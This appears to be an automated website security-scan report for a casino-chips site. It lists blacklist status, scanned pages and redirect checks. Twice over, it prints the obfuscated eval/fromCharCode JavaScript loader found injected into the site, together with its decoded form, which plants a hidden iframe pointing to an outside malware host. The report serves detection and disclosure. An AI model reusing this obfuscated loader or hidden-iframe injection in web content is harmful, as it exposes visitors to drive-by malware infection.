Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=lasvegas-casinochips.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://lasvegas-casinochips.com/ | 200 OK Content-Length: 11467 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(window.document)try{location(12);}catch(qqq){zz='eval';aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){ss='';s=String;f='fro'+'m'+'C'+'h'+'ar';f+='Code';}ee='e';e=window[zz];t='y';}h=-2*Math.log(Math.E);n="3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a Decoded script: if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://doxliwesed.de.ms/prime.php?stream=974fa821e21e4575' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://doxliwesed.de.ms/prime.php?stream=974fa821e21e4575');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.sty <iframe src='http://doxliwesed.de.ms/prime.php?stream=974fa821e21e4575' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe> Antivirus reports:
| ||
http://lasvegas-casinochips.com/lib/class.ajax.js | 200 OK Content-Length: 5496 Content-Type: application/javascript | clean |
http://lasvegas-casinochips.com/index.php | 200 OK Content-Length: 11497 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(window.document)try{location(12);}catch(qqq){zz='eval';aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){ss='';s=String;f='fro'+'m'+'C'+'h'+'ar';f+='Code';}ee='e';e=window[zz];t='y';}h=-2*Math.log(Math.E);n="3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a Decoded script: if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://doxliwesed.de.ms/prime.php?stream=974fa821e21e4575' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://doxliwesed.de.ms/prime.php?stream=974fa821e21e4575');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.sty <iframe src='http://doxliwesed.de.ms/prime.php?stream=974fa821e21e4575' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe> Antivirus reports:
| ||
http://lasvegas-casinochips.com/test404page.js | 404 Not Found Content-Length: 302 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: lasvegas-casinochips.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 27 Dec 2014 23:22:29 GMT
Server: Apache/2.2.22 (Ubuntu)
Content-Type: text/html
X-Powered-By: PHP/5.3.10-1ubuntu3.15
GET / HTTP/1.1
Host: lasvegas-casinochips.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 27 Dec 2014 23:22:29 GMT
Server: Apache/2.2.22 (Ubuntu)
Content-Type: text/html
X-Powered-By: PHP/5.3.10-1ubuntu3.15
Second query (visit from search engine):
GET / HTTP/1.1
Host: lasvegas-casinochips.com
Referer: http://www.google.com/search?q=lasvegas-casinochips.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: lasvegas-casinochips.com
Referer: http://www.google.com/search?q=lasvegas-casinochips.com
Result:
The result is similar to the first query. There are no suspicious redirects found.